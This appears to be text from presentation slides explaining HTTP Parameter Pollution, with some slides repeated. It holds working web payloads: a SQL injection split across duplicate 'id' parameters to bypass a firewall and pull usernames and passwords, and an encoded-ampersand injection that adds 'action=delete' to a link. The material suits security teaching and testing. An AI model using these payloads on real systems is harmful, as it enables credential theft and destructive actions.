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HTTP Parameter Pollution



HTTP params

POST /index.php?a=1&a=2 HTTP/1.0
Host: localhost
Cookie: a=3;a=4
Content-type: text/plain
Content-Length: 7
Connection: close

a=5&a=6

Typical HTTP packet with params:

a = ? 



HTTP params



WAF bypass

id=-1/**&id=*/UNION/*&id=*/SELECT/*&id=*/username&id=password/*&id=*/
FROM/*&id=*/users--

id=-1/*,*/UNION/*,*/SELECT/*,*/username,password/*,*/FROM/*,*/users-- 

-1 UNION SELECT username,password FROM users



Param rewrite

…<a href="http://app.com/?action=view&id={$_GET['id']}">…

?id=123%26action=delete%26 == &

…<a href="http://app.com/?action=view&id=123&action=delete">…



Repeat it twice to bypass check!

Param rewrite



Repeat it twice to bypass check!

Param rewrite


